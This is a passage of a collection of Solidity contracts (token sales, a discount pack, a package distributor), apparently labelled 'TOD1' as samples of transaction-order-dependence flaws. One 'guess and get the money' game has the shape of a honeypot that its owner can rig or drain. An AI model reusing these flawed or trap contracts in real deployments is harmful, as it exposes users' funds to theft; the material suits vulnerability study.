of front money."); // This should route the referral back to this contract pack.purchaseFor.value(fullPrice)(msg.sender, packs, this); emit PackDiscount(msg.sender, packs, discount); } function fraction(uint value, uint8 num, uint8 denom) internal pure returns (uint) { return (uint(num) * value) / uint(denom); } } contract DiscountLegendaryPack is DiscountPack { constructor(PurchasePackInterface packToDiscount) public payable DiscountPack(packToDiscount) { } }
TOD1
pragma solidity ^0.4.20; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ufoodoToken is StandardToken, Ownable { using SafeMath for uint256; // Token where will be stored and managed address public vault = this; string public name = "ufoodo Token"; string public symbol = "UFT"; uint8 public decimals = 18; // Total Supply DAICO: 500,000,000 UFT uint256 public INITIAL_SUPPLY = 500000000 * (10**uint256(decimals)); // 400,000,000 UFT for DAICO at Q4 2018 uint256 public supplyDAICO = INITIAL_SUPPLY.mul(80).div(100); address public salesAgent; mapping (address => bool) public owners; event SalesAgentPermissionsTransferred(address indexed previousSalesAgent, address indexed newSalesAgent); event SalesAgentRemoved(address indexed currentSalesAgent); // 100,000,000 Seed UFT function supplySeed() public view returns (uint256) { uint256 _supplySeed = INITIAL_SUPPLY.mul(20).div(100); return _supplySeed; } // Constructor function ufoodoToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } // Transfer sales agent permissions to another account function transferSalesAgentPermissions(address _salesAgent) onlyOwner public { emit SalesAgentPermissionsTransferred(salesAgent, _salesAgent); salesAgent = _salesAgent; } // Remove sales agent from token function removeSalesAgent() onlyOwner public { emit SalesAgentRemoved(salesAgent); salesAgent = address(0); } function transferFromVault(address _from, address _to, uint256 _amount) public { require(salesAgent == msg.sender); balances[vault] = balances[vault].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); } // Lock the DAICO supply until 2018-09-01 14:00:00 // Which can then transferred to the created DAICO contract function transferDaico(address _to) public onlyOwner returns(bool) { require(now >= 1535810400); balances[vault] = balances[vault].sub(supplyDAICO); balances[_to] = balances[_to].add(supplyDAICO); emit Transfer(vault, _to, supplyDAICO); return(true); } } contract SeedSale is Ownable, Pausable { using SafeMath for uint256; // Tokens that will be sold ufoodoToken public token; // Time in Unix timestamp // Start: 01-Apr-18 14:00:00 UTC uint256 public constant seedStartTime = 1522591200; // End: 31-May-18 14:00:00 UTC uint256 public constant seedEndTime = 1527775200; uint256 public seedSupply_ = 0; // Update all funds raised that are not validated yet, 140 ether from private sale already added uint256 public fundsRaised = 140 ether; // Update only funds validated, 140 ether from private sale already added uint256 public fundsRaisedFinalized = 140 ether; // // Lock tokens for team uint256 public releasedLockedAmount = 0; // All pending UFT which needs to validated before transfered to contributors uint256 public pendingUFT = 0; // Conclude UFT which are transferred to contributer if soft cap reached and contributor is validated uint256 public concludeUFT = 0; uint256 public constant softCap = 200 ether; uint256 public constant hardCap = 3550 ether; uint256 public constant minContrib = 0.1 ether; uint256 public lockedTeamUFT = 0; uint256 public privateReservedUFT = 0; // Will updated in condition with funds raised finalized bool public SoftCapReached = false; bool public hardCapReached = false; bool public seedSaleFinished = false; //Refund will enabled if seed sale End and min cap not reached bool public refundAllowed = false; // Address where only validated funds will be transfered address public fundWallet = 0xf7d4C80DE0e2978A1C5ef3267F488B28499cD22E; // Amount of ether in wei, needs to be validated first mapping(address => uint256) public weiContributedPending; // Amount of ether in wei validated mapping(address => uint256) public weiContributedConclude; // Amount of UFT which will reserved first until the contributor is validated mapping(address => uint256) public pendingAmountUFT; event OpenTier(uint256 activeTier); event LogContributionPending(address contributor, uint256 amountWei, uint256 tokenAmount, uint256 activeTier, uint256 timestamp); event LogContributionConclude(address contributor, uint256 amountWei, uint256 tokenAmount, uint256 timeStamp); event ValidationFailed(address contributor, uint256 amountWeiRefunded, uint timestamp); // Initialized Tier uint public activeTier = 0; // Max ether per tier to collect uint256[8] public tierCap = [ 400 ether, 420 ether, 380 ether, 400 ether, 410 ether, 440 ether, 460 ether, 500 ether ]; // Based on 1 Ether = 12500 // Tokenrate + tokenBonus = totalAmount the contributor received uint256[8] public tierTokens = [ 17500, //40% 16875, //35% 16250, //30% 15625, //25% 15000, //20% 13750, //10% 13125, //5% 12500 //0% ]; // Will be updated due wei contribution uint256[8] public activeFundRaisedTier = [ 0, 0, 0, 0, 0, 0, 0, 0 ]; // Constructor function SeedSale(address _vault) public { token = ufoodoToken(_vault); privateReservedUFT = token.supplySeed().mul(4).div(100); lockedTeamUFT = token.supplySeed().mul(20).div(100); seedSupply_ = token.supplySeed(); } function seedStarted() public view returns (bool) { return now >= seedStartTime; } function seedEnded() public view returns (bool) { return now >= seedEndTime || fundsRaised >= hardCap; } modifier checkContribution() { require(canContribute()); _; } function canContribute() internal view returns(bool) { if(!seedStarted() || seedEnded()) { return false; } if(msg.value < minContrib) { return false; } return true; } // Fallback function function() payable public whenNotPaused { buyUFT(msg.sender); } // Process UFT contribution function buyUFT(address contributor) public whenNotPaused checkContribution payable { uint256 weiAmount = msg.value; uint256 refund = 0; uint256 _tierIndex = activeTier; uint256 _activeTierCap = tierCap[_tierIndex]; uint256 _activeFundRaisedTier = activeFundRaisedTier[_tierIndex]; require(_activeFundRaisedTier < _activeTierCap); // Checks Amoount of eth still can contributed to the active Tier uint256 tierCapOverSold = _activeTierCap.sub(_activeFundRaisedTier); // if contributer amount will oversold the active tier cap, partial // purchase will proceed, rest contributer amount will refunded to contributor if(tierCapOverSold < weiAmount) { weiAmount = tierCapOverSold; refund = msg.value.sub(weiAmount); } // Calculate the amount of tokens the Contributor will receive uint256 amountUFT = weiAmount.mul(tierTokens[_tierIndex]); // Update status fundsRaised = fundsRaised.add(weiAmount); activeFundRaisedTier[_tierIndex] = activeFundRaisedTier[_tierIndex].add(weiAmount); weiContributedPending[contributor] = weiContributedPending[contributor].add(weiAmount); pendingAmountUFT[contributor] = pendingAmountUFT[contributor].add(amountUFT); pendingUFT = pendingUFT.add(amountUFT); // partial process, refund rest value if(refund > 0) { msg.sender.transfer(refund); } emit LogContributionPending(contributor, weiAmount, amountUFT, _tierIndex, now); } function softCapReached() public returns (bool) { if (fundsRaisedFinalized >= softCap) { SoftCapReached = true; return true; } return false; } // Next Tier will increment manually and Paused by the team to guarantee safe transition // Initialized next tier if previous tier sold out // For contributor safety we pause the seedSale process function nextTier() onlyOwner public { require(paused == true); require(activeTier < 7); uint256 _tierIndex = activeTier; activeTier = _tierIndex +1; emit OpenTier(activeTier); } // Validation Update Process // After we finished the kyc process, we update each validated contributor and transfer if softCapReached the tokens // If the contributor is not validated due failed validation, the contributed wei amount will refundet back to the contributor function validationPassed(address contributor) onlyOwner public returns (bool) { require(contributor != 0x0); uint256 amountFinalized = pendingAmountUFT[contributor]; pendingAmountUFT[contributor] = 0; token.transferFromVault(token, contributor, amountFinalized); // Update status uint256 _fundsRaisedFinalized = fundsRaisedFinalized.add(weiContributedPending[contributor]); fundsRaisedFinalized = _fundsRaisedFinalized; concludeUFT = concludeUFT.add(amountFinalized); weiContributedConclude[contributor] = weiContributedConclude[contributor].add(weiContributedPending[contributor]); emit LogContributionConclude(contributor, weiContributedPending[contributor], amountFinalized, now); softCapReached(); // Amount finalized tokes update status return true; } // Update which address is not validated // By updating the address, the contributor will receive his contribution back function validationFailed(address contributor) onlyOwner public returns (bool) { require(contributor != 0x0); require(weiContributedPending[contributor] > 0); uint256 currentBalance = weiContributedPending[contributor]; weiContributedPending[contributor] = 0; contributor.transfer(currentBalance); emit ValidationFailed(contributor, currentBalance, now); return true; } // If seed sale ends and soft cap is not reached, Contributer can claim their funds function refund() public { require(refundAllowed); require(!SoftCapReached); require(weiContributedPending[msg.sender] > 0); uint256 currentBalance = weiContributedPending[msg.sender]; weiContributedPending[msg.sender] = 0; msg.sender.transfer(currentBalance); } // Allows only to refund the contributed amount that passed the validation and reached the softcap function withdrawFunds(uint256 _weiAmount) public onlyOwner { require(SoftCapReached); fundWallet.transfer(_weiAmount); } /* * If tokens left make a priveledge token sale for contributor that are already validated * make a new date time for left tokens only for priveledge whitelisted * If not enouhgt tokens left for a sale send directly to locked contract/ vault */ function seedSaleTokenLeft(address _tokenContract) public onlyOwner { require(seedEnded()); uint256 amountLeft = pendingUFT.sub(concludeUFT); token.transferFromVault(token, _tokenContract, amountLeft ); } function vestingToken(address _beneficiary) public onlyOwner returns (bool) { require(SoftCapReached); uint256 release_1 = seedStartTime.add(180 days); uint256 release_2 = release_1.add(180 days); uint256 release_3 = release_2.add(180 days); uint256 release_4 = release_3.add(180 days); //20,000,000 UFT total splitted in 4 time periods uint256 lockedAmount_1 = lockedTeamUFT.mul(25).div(100); uint256 lockedAmount_2 = lockedTeamUFT.mul(25).div(100); uint256 lockedAmount_3 = lockedTeamUFT.mul(25).div(100); uint256 lockedAmount_4 = lockedTeamUFT.mul(25).div(100); if(seedStartTime >= release_1 && releasedLockedAmount < lockedAmount_1) { token.transferFromVault(token, _beneficiary, lockedAmount_1 ); releasedLockedAmount = releasedLockedAmount.add(lockedAmount_1); return true; } else if(seedStartTime >= release_2 && releasedLockedAmount < lockedAmount_2.mul(2)) { token.transferFromVault(token, _beneficiary, lockedAmount_2 ); releasedLockedAmount = releasedLockedAmount.add(lockedAmount_2); return true; } else if(seedStartTime >= release_3 && releasedLockedAmount < lockedAmount_3.mul(3)) { token.transferFromVault(token, _beneficiary, lockedAmount_3 ); releasedLockedAmount = releasedLockedAmount.add(lockedAmount_3); return true; } else if(seedStartTime >= release_4 && releasedLockedAmount < lockedAmount_4.mul(4)) { token.transferFromVault(token, _beneficiary, lockedAmount_4 ); releasedLockedAmount = releasedLockedAmount.add(lockedAmount_4); return true; } } // Total Reserved from Private Sale Contributor 4,000,000 UFT function transferPrivateReservedUFT(address _beneficiary, uint256 _amount) public onlyOwner { require(SoftCapReached); require(_amount > 0); require(privateReservedUFT >= _amount); token.transferFromVault(token, _beneficiary, _amount); privateReservedUFT = privateReservedUFT.sub(_amount); } function finalizeSeedSale() public onlyOwner { if(seedStartTime >= seedEndTime && SoftCapReached) { // Bounty Campaign: 5,000,000 UFT uint256 bountyAmountUFT = token.supplySeed().mul(5).div(100); token.transferFromVault(token, fundWallet, bountyAmountUFT); // Reserved Company: 20,000,000 UFT uint256 reservedCompanyUFT = token.supplySeed().mul(20).div(100); token.transferFromVault(token, fundWallet, reservedCompanyUFT); } else if(seedStartTime >= seedEndTime && !SoftCapReached) { // Enable fund`s crowdsale refund if soft cap is not reached refundAllowed = true; token.transferFromVault(token, owner, seedSupply_); seedSupply_ = 0; } } }
TOD1
pragma solidity ^0.4.20; contract guess_and_get_the_money { function Guess(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function StartGame(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} }
TOD1
pragma solidity ^0.4.25; /* * EBIC2019 smart contract * Created by DAPCAR ( https://dapcar.io/ ) * Copyright © European Blockchain Investment Congress 2019. All rights reserved. * http://ebic2019.com/ */ interface IERC20 { function totalSupply() public constant returns (uint256); function balanceOf(address _owner) public constant returns (uint256 balance); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); function transfer(address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract EBIC2019 { event PackageSent(address indexed sender, address indexed wallet, uint256 packageIndex, uint256 time); event Withdraw(address indexed sender, address indexed wallet, uint256 amount); event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount); event DappPurpose(address indexed dappAddress); event Suicide(); address public owner; address public dapp; struct Package { Token[] tokens; bool enabled; } struct Token { address smartAddress; uint256 amount; } Package[] packages; uint256 public packageCount; mapping (address => uint256) public packageSent; uint256 public packageSentCount; constructor() { owner = msg.sender; packages.length++; } function () external payable { } function packageCreate() public returns (uint256 _index) { require(msg.sender == owner); uint256 index = packages.length++; _index = index--; Package storage package = packages[_index]; package.enabled = true; packageCount++; } function packageTokenCreate(uint256 _packageIndex, address _token, uint256 _amount) public returns (bool _success) { _success = false; require(msg.sender == owner); require(_packageIndex > 0 && _packageIndex <= packageCount); require(_token != address(0)); require(_amount > 0); Token memory token = Token({ smartAddress: _token, amount: _amount }); Package storage package = packages[_packageIndex]; package.tokens.push(token); _success = true; } function packageEnabled(uint256 _packageIndex, bool _enabled) public returns (bool _success) { _success = false; require(msg.sender == owner); require(_packageIndex > 0 && _packageIndex <= packageCount); Package storage package = packages[_packageIndex]; package.enabled = _enabled; _success = true; } function packageView(uint256 _packageIndex) view public returns (uint256 _tokensCount, bool _enabled) { require(_packageIndex > 0 && _packageIndex <= packageCount); Package memory package = packages[_packageIndex]; _tokensCount = package.tokens.length; _enabled = package.enabled; } function packageTokenView(uint256 _packageIndex, uint256 _tokenIndex) view public returns (address _token, uint256 _amount) { require(_packageIndex > 0 && _packageIndex <= packageCount); Package memory package = packages[_packageIndex]; require(_tokenIndex < package.tokens.length); Token memory token = package.tokens[_tokenIndex]; _token = token.smartAddress; _amount = token.amount; } function packageSend(address _wallet, uint256 _packageIndex) public returns (bool _success) { _success = false; require(msg.sender == owner || msg.sender == dapp); require(_wallet != address(0)); require(_packageIndex > 0); require(packageSent[_wallet] != _packageIndex); Package memory package = packages[_packageIndex]; require(package.enabled); for(uint256 index = 0; index < package.tokens.length; index++){ require(IERC20(package.tokens[index].smartAddress).transfer(_wallet, package.tokens[index].amount)); } packageSent[_wallet] = _packageIndex; packageSentCount++; emit PackageSent(msg.sender, _wallet, _packageIndex, now); _success = true; } function dappPurpose(address _dappAddress) public returns (bool _success) { _success = false; require(msg.sender == owner); dapp = _dappAddress; emit DappPurpose(dapp); _success = true; } function balanceOfTokens(address _token) public constant returns (uint256 _amount) { require(_token != address(0)); return IERC20(_token).balanceOf(address(this)); } function withdrawTokens(address _token, uint256 _amount) public returns (bool _success) { require(msg.sender == owner); require(_token != address(0)); bool result = IERC20(_token).transfer(owner, _amount); if (result) { emit WithdrawTokens(msg.sender, owner, _token, _amount); } return result; } function withdraw() public returns (bool success) { require(msg.sender == owner); emit Withdraw(msg.sender, owner, address(this).balance); owner.transfer(address(this).balance); return true; } function suicide() public { require(msg.sender == owner); emit Suicide(); selfdestruct(owner); } }
TOD1
pragma solidity ^0.4.15; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract MultiOwners { event AccessGrant(address indexed owner); event AccessRevoke(address indexed owner); mapping(address => bool) owners; function MultiOwners() { owners[msg.sender] = true; } modifier onlyOwner() { require(owners[msg.sender] == true); _; } function isOwner() constant returns (bool) { return owners[msg.sender] ? true : false; } function checkOwner(address maybe_owner) constant returns (bool) { return owners[maybe_owner] ? true : false; } function grant(address _owner) onlyOwner { owners[_owner] = true; AccessGrant(_owner); } function revoke(address _owner) onlyOwner { require(msg.sender != _owner); owners[_owner] = false; AccessRevoke(_owner); } } contract Sale is MultiOwners { // Minimal possible cap in ethers uint256 public softCap; // Maximum possible cap in ethers uint256 public hardCap; // totalEthers received uint256 public totalEthers; // Ssale token Token public token; // Withdraw wallet address public wallet; // Maximum available to sell tokens uint256 public maximumTokens; // Minimal ether uint256 public minimalEther; // Token per ether uint256 public weiPerToken; // start and end timestamp where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // refund if softCap is not reached bool public refundAllowed; // mapping(address => uint256) public etherBalances; // mapping(address => uint256) public whitelist; // bounty tokens uint256 public bountyReward; // team tokens uint256 public teamReward; // founder tokens uint256 public founderReward; event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event Whitelist(address indexed beneficiary, uint256 value); modifier validPurchase(address contributor) { bool withinPeriod = ((now >= startTime || checkWhitelist(contributor, msg.value)) && now <= endTime); bool nonZeroPurchase = msg.value != 0; require(withinPeriod && nonZeroPurchase); _; } modifier isStarted() { require(now >= startTime); _; } modifier isExpired() { require(now > endTime); _; } function Sale(uint256 _startTime, address _wallet) { require(_startTime >= now); require(_wallet != 0x0); token = new Token(); wallet = _wallet; startTime = _startTime; minimalEther = 1e16; // 0.01 ether endTime = _startTime + 28 days; weiPerToken = 1e18 / 100e8; // token price hardCap = 57142e18; softCap = 3350e18; // We love our Pre-ITO backers token.mint(0x992066a964C241eD4996E750284d039B14A19fA5, 11199999999860); token.mint(0x1F4df63B8d32e54d94141EF8475c55dF4db2a02D, 9333333333170); token.mint(0xce192Be11DdE37630Ef842E3aF5fBD7bEA15C6f9, 2799999999930); token.mint(0x18D2AD9DFC0BA35E124E105E268ebC224323694a, 1120000000000); token.mint(0x4eD1db98a562594CbD42161354746eAafD1F9C44, 933333333310); token.mint(0x00FEbfc7be373f8088182850FeCA034DDA8b7a67, 896000000000); token.mint(0x86850f5f7D035dD96B07A75c484D520cff13eb58, 634666666620); token.mint(0x08750DA30e952B6ef3D034172904ca7Ec1ab133A, 616000000000); token.mint(0x4B61eDe41e7C8034d6bdF1741cA94910993798aa, 578666666620); token.mint(0xdcb018EAD6a94843ef2391b3358294020791450b, 560000000000); token.mint(0xb62E27446079c2F2575C79274cd905Bf1E1e4eDb, 560000000000); token.mint(0xFF37732a268a2ED27627c14c45f100b87E17fFDa, 560000000000); token.mint(0x7bDeD0D5B6e2F9a44f59752Af633e4D1ed200392, 80000000000); token.mint(0x995516bb1458fa7b192Bb4Bab0635Fc9Ab447FD1, 48000000000); token.mint(0x95a7BEf91A5512d954c721ccbd6fC5402667FaDe, 32000000000); token.mint(0x3E10553fff3a5Ac28B9A7e7f4afaFB4C1D6Efc0b, 24000000000); token.mint(0x7C8E7d9BE868673a1bfE0686742aCcb6EaFFEF6F, 17600000000); maximumTokens = token.totalSupply() + 8000000e8; // Also we like KYC whitelist[0xBd7dC4B22BfAD791Cd5d39327F676E0dC3c0C2D0] = 2000 ether; whitelist[0xebAd12E50aDBeb3C7b72f4a877bC43E7Ec03CD60] = 200 ether; whitelist[0xcFC9315cee88e5C650b5a97318c2B9F632af6547] = 200 ether; whitelist[0xC6318573a1Eb70B7B3d53F007d46fcEB3CFcEEaC] = 200 ether; whitelist[0x9d4096117d7FFCaD8311A1522029581D7BF6f008] = 150 ether; whitelist[0xfa99b733fc996174CE1ef91feA26b15D2adC3E31] = 100 ether; whitelist[0xdbb70fbedd2661ef3b6bdf0c105e62fd1c61da7c] = 100 ether; whitelist[0xa16fd60B82b81b4374ac2f2734FF0da78D1CEf3f] = 100 ether; whitelist[0x8c950B58dD54A54E90D9c8AD8bE87B10ad30B59B] = 100 ether; whitelist[0x5c32Bd73Afe16b3De78c8Ce90B64e569792E9411] = 100 ether; whitelist[0x4Daf690A5F8a466Cb49b424A776aD505d2CD7B7d] = 100 ether; whitelist[0x3da7486DF0F343A0E6AF8D26259187417ed08EC9] = 100 ether; whitelist[0x3ac05aa1f06e930640c485a86a831750a6c2275e] = 100 ether; 